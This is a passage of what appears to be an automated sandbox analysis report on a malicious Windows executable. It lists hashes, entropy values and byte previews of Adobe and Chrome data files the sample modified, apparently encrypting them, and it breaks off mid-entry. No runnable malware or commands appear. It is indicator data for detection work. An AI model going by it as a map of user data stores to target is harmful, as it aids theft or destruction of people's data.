MD5:	106C2CFB1162FC8FE3CEF0958474F1C3
SHA1:	C63E3E70248AC3DBD45CD2A6D51A55E9747FD6E4
SHA-256:	0E40646D6311552A7F6E7A386A06421D97DE655F65B099E455CF22DB10AFD746
SHA-512:	AEB7D480088432D79AE6F963819E07C6119A90FD8A684887336FCCBEF1F43D8ACE838C0862128709DC3DAF527A75658C67618CF399EEF8B4E2863189AE3D7557
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......bD}~&%.-&%.-&%.-+w.-8%.-+w.-Y%.-+w.-.%.-/].-!%.-&%.-I%.-...-'%.-+w.-'%.-...-'%.-Rich&%.-........................PE..L.....&d.............................B....... ....@.................................eX..........................................P...................................."..8...........................0...@............ ...............................text............................... ..`.rdata....... ......................@..@.data....]..........................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.661875821512395
Encrypted:	false
SSDEEP:	12:kSZYxXGqnEnKI+mcx9OwX4YE+MrOiCk0IzKLNz2J58RnZ5jVcii9a:VK/YKbmA7TE+M6kLsNzc50BVbD
MD5:	12DFD912209898A890997D448E3456BA
SHA1:	BC72C629B22FA583F6A124BE3EFEE61217000D9D
SHA-256:	AE3AC0FF811DD8B7CDC150EE26AE41F4A8C6F0F9C53D73A90A65701FADF33F23
SHA-512:	FA97C512D23B7034B6FD797DAB3A628BD172B7133D17680CBAE35F1E1BC712576F5BC9B8940966383D30EEC0B9A3E9EB2F9FEA756124238FD0D87BD88664FCB2
Malicious:	false
Preview:	2023/..I..9.]<.....j$....t..;.)...^.(L..kvs..Z..hX~.1..D>.`..7..Y...U....;...A..[....O.C#..K.^.@(.7a.Uk\|b.o..B.Ts<.....8u/ ........BM.A!.H>.`.SI[.u?sX..k...Kr.....)...!.a...i...~...]....2...8,p.b.J6.RD.Ka%Q-F...c+E.Um...O...n.L......^.0..>.."..S...-..j.....).T..sWE...8BBv[.S/......+".@E..'.Oc..P..qz.A.:.<..g..g.(N...Z..,.j+.;..M..$4..r{.\|.8G.n.@..{..../q.z.R.w@..2dvX....W.8....md..D..M...0..M..l"a....R.a..V..C4+...g..j%F+`?q.t..x........NN.T.yg.Hy.[.Q...9.Yv\|.=....]}N!1$..nD.e.b. ...i..q[T.l...w..].93M...5..K@.s.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.7312399266027905
Encrypted:	false
SSDEEP:	24:YKW/YT2mbb9CccjTqn1N26yhHVySPG/rcqJD3DVbD:Ymymb3cjTMJyhTWIMD3DFD
MD5:	87F31A6E54C9E7260F6386BC21CA0265
SHA1:	922AB21C44A74A66EE2954DF3F69F1054DD8BDD2
SHA-256:	50753257F80863758B7038C49F387F98A706AFBB7D9F66CD987AE7E58A9A1FE7
SHA-512:	61FCA676DFB6B4268D114022815CC46CFC835E521DBFEF9E1D426B8D1DE741B7AB250DA9E2B6B13CABD9994698E445D9799BC7FB5278C48805B3081D9152CC27
Malicious:	false
Preview:	{"os_2x.B..T.D"n\|~.exnd.H..'q.!C..!.6.pq.c-X...)...>e..7.....l^...zO}..r...\S.o...:..;..7n,..?f1...%%...."....xeK..:...r..^.9...5o.M.j.[..#.x.....Y3...x@i....RR.....:..v.Bw.1.....u..N.Nv...-.;....8.w....^K.i.....t.5...h......~..x.3.Kw..../~..8V...E.\|..P..ZCN.. .FI...4..o.;.1....:.....R.L$...%....=BHa....O.1.R}.rJc..z.>...>.....T..{n..-.k.U...._'..j....Z......s.......Ui.3........z..3ps..m..\.AHCY....a....I.'.x...\|TQ..TS6.......+.X...C.<..-&..&&....&....yS.B..H....5..........Gk@..c.......*.........)...k&.....$.t.LI..Sn!T..g.C.G.._.s.L.....S.hy.e+...J...........u.Q..\|{.......ZLYr..\|..(.&.Q...K(..!..R.....Rf0\|....].O..M7.B...x.O2M-.......$'..~0....p..(.2..D...N(..,E.......q}..qY.5_`...).....+n_.../[itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	730
Entropy (8bit):	7.687359225661437
Encrypted:	false
SSDEEP:	12:STr8i+IxMJ90pJ9VfxM/lMaFJCVeBz8HxX22Sn1+Ta/Xf9jVcii9a:Zidx4WJqlMaFJC2zK5FSn1+T6X1VbD
MD5:	48F6E2884F273D7CDD74A91F23600C89
SHA1:	500CAE3A841862FBFADE7C2A9526DC1198887692
SHA-256:	A2FDBDC904165E6CA5213747176988698417C0143D3148C96595F7D2AA41BD68
SHA-512:	7B37E7F0EDC9F67DC3AC775B37FAE2442D2CD03AB31A72FC7A86941089286742B9B62FB105EDA35050BB5010302AA98109BD7039A48F853E954502B2A67D965B
Malicious:	false
Preview:	...#.....P...qj..gW..]..`)S...u...m.....i.Jw....U?....<}..>..n.l......>c...m(U,.y...p.<K.{.....lEW.hX>.`.Q.....+. ....../Y..J..B..b$P.7..t@.....i...B.si...p..y...@..;..V+....0.;.{.}.-y..d....go8<..u.l..G......6.q(.G..U.{a.bgt.M. .V#.N....y.).-..6X3.zE0.mE.Z.E+.).R__....D.<s..u..L..%....~k..,.....Sr..>k..j....h_.;../Q.2$.62....G..J.......{..U....&N....g.Ec/$...C.L. .S.0.......7.-\|8.;....L...H.O..{.P.C.'.{.s..H..o..aMy.Ts.H..s.p.......Gt8........#...".!.p..k..d...............HN%h..t.8.\|.>..Y3N;..w..Q*....uy.jsd...!.{..[.t....Uu..#mR@\...d...<....c'.......\|...v...3F..-..7]..;H.J..../..<..........l.Tc.....X..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.658347243969113
Encrypted:	false
SSDEEP:	12:k8PUhf9O2ddbOPqZbnhGPqx002tQ7SQ+mj8tk5e0H9HyluBNjVcii9a:VAO2dlOPq3GSSrhrmFb9HyluBNVbD
MD5:	B4DCBE374F778C3131A2A2808C5191C0
SHA1:	FB3CD10AD3DCA348B794A2CE405F2E9FFCA5E772
SHA-256:	504BDFC168C6A7FA7DD8120C010FFF1FB755D07DEDE01B58D398D32787B307A1
SHA-512:	08D72B9A4319156FC0C00BF3D7D1B8962BE462EB92AC1E86B0758FC90CF781FA81A84D462029B6D065194D96D7B5A2839005AEBD8E18A8F84B3E7DA6DBFCC90A
Malicious:	false
Preview:	2023/O..eu..R..P&..>.<....G#.,pu.8bS=}fK.............K2A....(1z...3...$....rY].<(zQ...7..........t.... ]R,..6.U.D...S(....S..q.G.7\|...\|....;+..=3..KVt.W.C+L..3.8.q..F.>..i.I......ze..v_..._...9]..\....Pw.,.0..Y.nF.N..?K.<A\|z.9.\|.3kC...$...N.p.m....d.... ..,.....G.T4.[..,/....x....z..>..].{......H3*.u..eE.v..=../....\|&.\..^A....... ..fg.`....lZ....=..S..`.6.^....[.h............r.9:.[.{u.......K<..............B..G\|B.......H.........V.......4....`KH...T.!E..uZ-.)D.....\|5.;....+.cq.v+.?..k.b.".Y..ko.1\|.._...EP... :...8f$.WQ.;v.......]8.W}..i`zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.854496705414077
Encrypted:	false
SSDEEP:	48:mCNX6tVW5KOnA/ImCR9BkK0AvIQ2docLiEDQRfFD:FNmVeA760lQ9SjMRf9
MD5:	6D1CE8191EC4C1604D14698512F7FE8A
SHA1:	9E49962BE1817998D51F2AC5A1A0217BA22FAFD5
SHA-256:	C765D4C66F5B1FA3ADEAF16847B6EFDA13839F2EA988C034359E6C15B80843D2
SHA-512:	C2F84617D660D4C53330F94A3AFF0B48BE3A204C0FF242D7390B9A1871A50EE8DF98F94518A71B0C7CF57B0CD41D807417524976EEB078A31B99DAA2ECE7C014
Malicious:	false
Preview:	%!AdoQ...,..\| .).qJ.......L........D.Dq.fz..E.of=.Pe/x..>.i.,...e6r.?{.+.?}..'....!.l5........7%9D..29.R......3.v.....\|#.:x..{.D.47.9.b...H(...e.].K.&..."&.m..^...%.P)....L...7,.d.@....W.p.i.T}....f..3u4l.v)k.........OW...5g3.Mu....A.......T...&k......(p>.YL.%A..H...{7.....\I,N.j.h'r...?.5...J....1`...L.N.h..E.)M+....FW.s...$..........Q........PK..6..O.\Z..GQ.x......._."ah.%.3...5.......1N-.h....~.h.4.~#...5.y`..?..0.J...R........<.!..^..W.g....@L..H..-..P-.[.;....MA..{kF.>uwo.F....P...Z...4.....z. ...jnL.'.f.$...B..;.;..&G.A.....^.}Y......_....D..6p....Z^.E!.-......!,.,.O..n....U......\...aM...P....7J.0..cv...@..Y..h.......Fz'.M&h.].!YV.rM).PW1...).....5........Te'..Bx...@,$L.5?.....h..:.~=..1.:n<c.)T.......]...dJ_%.k..&._..h.?n{.#..}.h..D...\+.4.I;<[.{.@..w=.Y.>.7..ug..u..N$.....Q.e.=.m..F..yRZ...qt%yD..1.....G..x...}mK....w;..[...pW.6.l..D...Zb-.y,^GD.}..i.......\|..><......,..hT....=....g...f..=.DU)......E..6...........G.z..D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.875681746477046
Encrypted:	false
SSDEEP:	3072:CeYDc3oCBP3yYL+ny8CSQCdQQWgxVqmgJbq3TGJuGg7PFjC68kSGbEjXE07Zmane:j2UoChCpnyxBAQEVzgg3aBgDFG3k/uXs
MD5:	A589D5892BA7D68C2F651015BFA491AF
SHA1:	6F4C4D1CEAE79B82AA78CE570D8C918D65D1F687
SHA-256:	31C6A9B38A02B8CED040E87FCBC722F19B17C56CE9E1B5D9C96A024D9F9541AE
SHA-512:	FD597A42E89E99CCD253BCCAB82CC548F8033F8FC40C6BFCEB25CE6514CC039C7C894C5E36662292833CDE03D9A9D739EF8684C65C4BAAC117D9F8AFF6B3604B
Malicious:	false
Preview:	%!AdoP..} O..#.+.xs.4..x...S{.(0.JI.c.V2..n..2M....G.....Y...V:Z..b./K...R...ni..b....E...]90.T.....J.C......}..x.....GM.v.m...]. .P!...::T.4......j.m........oK.^..K\|....K...K1%..R....?...L.8...,D..{....;.2.1...AB.8+...C......fG.W.{.....,....0.=.N.n..i.e...fZG.Mn...&....4.c.,..f..y.7..Y^x5l+y.:0.fB.:.D.......s..).8f..lFrE&....l....L...!;$m'.#p.!.....J.......^9..h.....Hn..a..4.X../..........q..L....Jv]oy....r.@,JV.......C.....3\.....9....f.....@1.pF.y..<..#.>..4..I.......Z.r...62B.h...8..U1.6.E..^...j}.s.s.z../y..g.j.?.t[....7...\|L..v....X...'.K.R\.....}..n.S..=Mb7...rm...@C.Xw.oJE.X.......C5..Ab.Y..Z.=m~......c...-1..]+...@.!)..I.z....dg.i.L..H.."85.+^\5....>RA....-....(....y`.....f]......@...]b....p.O...#..+T* ..M.kPc*...g........w.....c.3+P..B.`.....E...o;^ir..WLj.o.ry.;...A... ..,..nD.]:/.N.+..@X...(.].3..`5.........I....g........^.r.{.VnW..M_}...8f.(..F.5....t\|...G.....Y...#.3B...ss...vN.#......88.B../....).N..C.(...>..,..K.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.819012983313671
Encrypted:	false
SSDEEP:	3072:GLl5ggqxIPysZUqnc0rIZI1kOx/CoMXi9TpDoJcOgeudCHQzUl6YbHRgROolNlnm:SPyitnctZROxqy9RoGDncgUl/bQnm
MD5:	3C6665F874211565B7851CEE1228BFCF
SHA1:	D78C69EE121B2287598D4050BCD918D622EC6DAE
SHA-256:	EB56481482C87419F7FC9A332915E6CF78C2F6C5DA0F8128FBEBFBF1376FF66F
SHA-512:	E14084C1DBADA127DE6B410F14EDBFFA2D70F6B2DCBBF5F2A09737C2D02A7BFACF853842353F9D7C53F6CEEAC160895011ADC7A80F6BA8479C74346E47F51068
Malicious:	false
Preview:	Adobe..`b.;..am.v..X.J....,VX..&.5A....A{.Z'2.<.TpxXw.y7...q.-....s.H...h..C...o>R.a....... ....-.x.......8..0N.#)..]hy.bX-...u......5...\|...j..>4...F.w_.h.\|...#.j..E..m.....[....f.....FO.....Dz.;w.....9.t.r...l...4!..%.x=..+.....7.=9.........Lz..T..[..-F..n.....C....4O..,rLq...V.z.~U.}.D..:.3* 30.NMK....U..D.M....k...\|.......KG....x....S..).B..3m...'2.W...(...2.'G....!.)v(\V....+3.Y..X.x...P.U.Fqs......}.q.7A.h.~sT...+...p\|.;(.....?KN...8.Q.L.7F.+W.dQw5...L..]r..B.....z"\|..TS.j..cA.T...\.R@.....I..R.......1L.dw..X......y..j.F...@b....'.....p..J;..(HI.......;2 ..um..x....j.J.....v...y........:{s$.v.....(...7..\. ...!V....9.p.rV.$K.0..;.P.c.T...#..i[W.*..P.F.....". .!...&lJK%q..O.....]94...i..<..{..d.8.w.xj]H/..0.]....f..XW..p.WE.A....a.<NZ..G....-...F./.BP.B@.}.......2....L...\.i.........o.u_zk+......T.\\A+....-..tX.....h!.bu..R...{..?...e......1....y.l.._.`.-.....%.....g>.....Rn$ .,.z-....U.i..Ro...W..)x.K.#{.......b...M\<[.C..Q)/..\....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.947355827124799
Encrypted:	false
SSDEEP:	48:Y98zgTNIzfKoJvXeic3zNdgYsc1U6isJ/WdMET2+pEsF4Trr5vMhSNhfsNDf7Tto:qOL14DNalkZisJ/+Tx7o4SN5uf7TtA9
MD5:	946C6E6F5EEEC8F5AF58036EC792B758
SHA1:	E58DF74F4729BDED45C7E31499C119B6E59D6A6C
SHA-256:	02770699629A96891227836E265D378551B91747A1EAEBB44CD55D1F69FA2473
SHA-512:	5A08A9CD6530A7629D628ADF0109CCB749BDD05F391DA73384FD77BB696FC44620626B806BB570D9F976DACF511739ED722E54339D6220DEB0B6F1822E700244
Malicious:	false
Preview:	{"all......#X.j.........H...qW.X.k.....\|d.lbg..nS...;.8.%....Lz}.i...!_d.:......7.)...k..\...j.{.q.....}.ZA&Ud..v..\|.\|.n.W....]a...d...%F..c...R.d.R.;.\4c,...`..z.?Eo..n....A%.o.........K..&..E.9..x:_gJ..m......O.W.....H..X!W!....5......c....".....z.,w...sud.....liZ%....k...e...Z\..8s.'..kt@....j.....v?..j...............D.}..I...1../.........fY..p8.j..7.....LO...c+W.4+?..{B..l....S.g}.~@...E..fX......#...S,..:.0.w....J........U...d.!...;t..-9l...E.....QXPd..M.Ml.....s.;.cD6.'........,....B......w...p....XP..f.........R.Z.....8_.^...`>O..VmA..{.Wx...Q\.W\|...MN..U.y.E.0x.>.N......\|..$}.\....+q)uJ.......r k.........~&{.,.Ch...rh.z....1Io.e.. Q..H.".$..?.....c..F.......\}.6a-....&8/... .......Gx...e.0\."..T......)I...5k...F....#......1.......g..D...E.&n)..Q<......tJ.e.Z.{.$.t.z..C2.x...*q.M...Dj.8......f.6Y...{..B.E............5.+o...Z$s.@w`Y...m........h..w....%d.i...^;xU.F.....fs5..S?.q..a....M ..V..H..0..4~5.....'L.%..9}..Xc..+!B/

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997547662135182
Encrypted:	true
SSDEEP:	1536:oHDghcSjVxQtZKAD5L5533TBhn7VD16d1pQhkjAA4k:K0hcSRcZKy53jBh7h16dzQWjA2
MD5:	4256791712C67502F298C538C258D48A
SHA1:	822F422AFB26C3A4563DA0BF3CA3219C78515609
SHA-256:	CBA7EEF2EC01A8A50F19D9174F9585E5B3D11E8D7478B86E59B36CE886EFE304
SHA-512:	9465793748FD4990D1286AA5290160D368C1E3484784783957EC3A631C6BF6B896426E8E2ACFA8394C1242F68883EBC5E0F3199B337B387DACF36FD39AEA142D
Malicious:	true
Preview:	4.397....._.t44...Ej...s......Tx.j#.0..1.T...JZ...g.5.F.Nj.[.9.1.0.....A..B.u.T.}............Oi.$..vO..D.N.E..x.d....0....`..j..3..n?.g.S.:.X\|b.+m..X..>.HV"U=..e.....}....2.!......:6...Y..,f.+...<.w.k.O ..._.t.]...yP.%%........n......c.H....9.fw..K.[e.s...V..X41..H.B...>@.....y2m.....<K..^.We...%K.....A......3L...e.-Y+63.3..c1..........B...[j.Bu..!N....t.&...m...........Ic.9..o._.X&...=4u(.K..VU.........Q...P,..-.+...-...C..R...5......@a....{.....L...Es .<.s....... ...@.ev.j..-]e.QJL..<K....m.xF\|...m}.f...}...U.....hl.a{U.2..e.C8....x....W....r..TL%.(K....\y4{..\.........pu,Iy.!O.p...oG.X...:.\.vv.....7..@..<.'..C.W....).......g.\ccCYz..W..?V#..X...0..q.... ....vK.n..=X..8"..N.1..+.0m..Z,.....F...d.e...3.......s..3........B6`q..}._.1V.cZ._F...x..u..s.6...A.T.?M...~..?A.....6.y..&..c^.,...quy...Oe.e.S?1.k8..eK3...$..i]"...4=O....1A}.a..t/...>.h.......e./..i.L..."...[.._.....Ru*.._6Pd.w.6....{##m_....U+....O?Y.oF.......N..........7.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.524662885708061
Encrypted:	false
SSDEEP:	12:qEcNrMzrcC/hJkqbqcW1h36HWU75EnfpjVcii9a:nGMzrf5RlI6X75+VbD
MD5:	8BC22641FC8CFBEB014D905E160E5F6F
SHA1:	B24D093281C5122A7A20497056319BABB7A92760
SHA-256:	53779C45A29E0665D32280084522A35414189D01578ACD9DFB3B7DB5D2A80408
SHA-512:	61CFC029E68FF984180EF02CD3882C2975A46E9C53AA8A31820D324AE82F5790F218F1D7D8092F53C22778E69EDD1DFF1D8B1357A9DF8B2CACA1430BDB8EBBC2
Malicious:	false
Preview:	.f.5....6.'6.JL..'n.y..H:.%.~w...+...x...rk..b.s....f..K....~[.`...K@..j.x...d.8YH.1..."z-k.1F...`.....5`.=.+..P........F .>.G.....?..s..{..}..yK..(..,9..%.I[...e2.....~.a..f.........Ik)..ON.F......,1v.'....... ...IM..F..=..\.:T..g........k.TT2....E\..e.......%.....1.H....S'....R.........\...T%5....a?..`...K.b....4w.7T+..l\y.3.@i7...G..._......I.PJ....p..sZ...$..>..<:....H.....a.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.461654417955407
Encrypted:	false
SSDEEP:	12:qSe2Z5hrQrOnTTmA4f4cSwqbzG4cQQyG0GBbjVcii9a:LeIzQrOnTTfD9wqmFyG0GRVbD
MD5:	1DA11ADE0E0A2868748D4BF739D9E693
SHA1:	96D2CA54801765689E18F32ECE264C14645B7664
SHA-256:	A256599D06E7C1FEA4A3ADDFA925B988DCCC535CBF70FF0088C455E5BB5F118B
SHA-512:	C9FB2F474B0EDB4749AD42D605BAEE16581D1D9C5BC46BEB6BF85E8EE5BFF44841B22CE7833FCFB845D06DFAE6AF0B5493AB9D8CACA70CA6E4562FFC4A521A5A
Malicious:	false
Preview:	.f.5......3..(o....G}E...n.\..wX*".Y5x[..^.g..d....@b.._w..WXh....fT.9.e<^A..K3..Z...^..Z..7..R.{.Ly...J..P.q..p...a..$?.&.n...g..!i...~.Q"..:..F&,..}QF.d.H`...u...W.....ig.:F2Bp.Q..H.....@a.-.....sX.a.J.....v......n.L.6/..z...(u...B.m.......K`.....e>M....H3d{.@....9.q..[..D}....m.s...,V..K...OW....Itvw...B.0....!.O...K.u..=3....8...#.Z.W.D.r...[\|.O...'.d1`\|.^.h..nsx.Mc.(.........n1.D.:itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.6702331977336184
Encrypted:	false
SSDEEP:	24:mBJM5Yr/pviYlnS1xnz9yaPIna9WZ+jVbD:v5G/pKYQIa9WEjFD
MD5:	949712A3253A869EFD95358DA0B965E8
SHA1:	CA6F6025BD2D04B74CA81F099A8A0529158987F5
SHA-256:	7BA1D88CBDA6B9D46C21583308C76510B1C1792D7A4046E3FE855C6A0367F20E
SHA-512:	8518A736F44B051FFAA813ECE1E03F78C76FAA1258EADC3E952BE6A8B682CF4A3AA375DB7D25749E45E08BB6EAEAFA5B9BD6B6169CA12D9AA3BB35CE516E4FBF
Malicious:	false
Preview:	.f.5.7_.E.yub.m.5U..c.w.I"l.#A..`.....^...I.w...-vz{s.>......6..Kn+..)-+kg..T/..f......usl..X......sl...i....&...h..s\|..DT....?......yD....'....BI..F..2,..R.}......F.v........./M..k..yy...B46..2W.&..Ea..8....B6..'...Y..AY.:...&+m..\|y..^..qKX.U<..._aU#.!....0.O.{.......^1..V....~.Wm.BNT,.u..^.?.t....r..?...........:..P(u.......*&?.4..p.t..4..2.b.......M<s.m.z._..8.I..7..........T..Fz..D.M...e..e....L...3.D..C'.G...G..s.g....'/....~1..!..u.Y+...c..k.Q..I.....uk..}^.B..Q..........Q.)....yK..%.P..'(c.2...I0....6...l.b.A.CL6hO.n$.\j..2.....pn..%...+b....M6K..Z.-}T;......rx.u....ZnC\|....,....c+jO...,+..$Qs.Q..F.4O(;;..".h..l.....\..&+]..%.....)...7...sc....:}.X..Khfitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.60798304884059
Encrypted:	false
SSDEEP:	12:ktOhfbdWxawKqLiy6732uzFY/bNYAJPy7OLenVpK6WLNuYq+8Hfdzt+Q1EUejVcq:PZquqLaD2uz+/bNYAJ66LeDaLNuYqPfG
MD5:	F407124E9EA4220FB81A5EB3E4AFF226
SHA1:	6CE4E5D32F1419ACF4108390B57D46005BE2E601
SHA-256:	1C187E0FB2B8520D6DCF4EC89A445BF17BD2A343A04F0393AF1F2F6A7857840B
SHA-512:	C1FB1D2BB229B736089E89A57A6E7AFD7027CCFFAAD3A28BFCD14A26BF0D379F5A7E69B4AB282902C7AEB8DA6BC23F5296434C68CA3188427F8E2391B350ACB6
Malicious:	false
Preview:	2023/.vM;."i.K.k...n.....Qul....$>W.....&..w..&...9A..6)....,..._.....}.......L].F.A... ....w.../.j.Pa...[7...0..E....9...n0%...5.H0{..AG.9.A..`.j....:^d.e\;...+U.c`.Bj.......)Y.o....D.Lo..pQ...vA-..?..Y..oH?..T.g.g.3....i..F.S..p.R$.......'....^."."vyK.7..,......j..E)..{R.%6.M.vA]..~+.....Wh}L..k...C...WY4.:@.?]G... -.L.e......u....j.....sG.u3A..yW.~@.....>.u.#..z.....5.C.0.B@V.....`.x.[C.....l......4. p.T.%ZY.8..@W....=^.=W.l8D......i.....y.I..V(O..x...T.M...eg...d{...:j...o..-iW4.-&u...tX.....'.....c.].X...S=&j.....={...........6.n..4.OaSqitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	7.654207257072956
Encrypted:	false
SSDEEP:	12:kpSwdqynJq+fZ29dMDVKY2FzNM6Onpy5sKTNEs1XuB5jVcii9a:ISwdqynE+B29WDVyJNM6OAskXgBVbD
MD5:	B9AD4061787D73689898CF7233565A2C
SHA1:	A9F5D6769ABFAE53ECE0E27D8942B82A3493910C
SHA-256:	BC33118D708CA46D565D73FF20BBE6EEF5FA0B1BFD209ABDC4F829CC18D5489B
SHA-512:	3B92453604665BDB0880588371068003EC6032E8DC4BC9325E959C2CC606FA39EBB2FFB0023BC71C7D537FEC5A1B0FA599AB70BB134F59A372BD3F3451EEA898
Malicious:	false
Preview:	2023/..%.UgCB......_...7i..VD.D[.+..xW;.e}\|....`s..kP.@.K.B.....M..8..d..1i...uW!^..9........z.H.U.Ni$?m{....B.....Yx^.s...QF.#.z.r....9..@xk..Q.......Mm..q..Q}$Y..=...Hy...(k....b.{-Gt.'......e..L.]/.Dn\|....Bk......,.+.......G..c.+t..:1..)..K.sV.....:U.~..N.x..w=WSK.A.{)..+.S.b=Z..c$...[...x+9...,..!..Y..y..#B...s=..hS..;{..T`4O.4A.x..F<N...C..]c: .b+m.5..%S.c..\^.....Z.a......28O..%.....6.M.E.P.....a......`hVX.....U....!. .../.G.2......#riAc.+JD...y]S......)...a........2..F...m.R!z......0tC. .u`.8...8\..'.~..@.....lu</..l....3.Q.t..G.(.q.~ .~.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	7.363434698421979
Encrypted:	false
SSDEEP:	6:waON4nH5Oe/aBtClvgv/uVEg4yMcaouPU975hJNG71VxhaKmfK2SYCozjhPcii9a:p+a/3vg3vg4ctu8h/JU52SyjVcii9a
MD5:	E51B2F692911E38EEC226AC1BDF2A30B
SHA1:	E80367B728611FE9E756CF4928890C427BB96F62
SHA-256:	8320C288E608D9D188F2E6DCBD6CB1E2364858402882575B26F3593154232277
SHA-512:	DC8190764BFD1FF5C45724764C608EA2B0A36EDDF51756AF9F29C1DFFFB27D1F65BFD0FA5D2F628024F30E0026D9A4BE4B5B534593306B18F129C5A1E648C30F
Malicious:	false
Preview:	.X.%/yk./..U7s..=.im.....=....._;..!.............W.:..(S.}...a.H...?.\|..z4*$.F.\i.csCS.5..G.....Vc..\..K..\....kf..S.\|.5.l..8..r.....)...$.L...j...}..U...e..}.p.".Dj.<r.-\..x.;.?.(ew...U_n...s....+.YE..I.~T...L..r3@..DN..,8YY...q..=/w.tv...8.2M..Vt...._.z.!E#.....X....}....k...i1.%.K.CX.?Ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	633
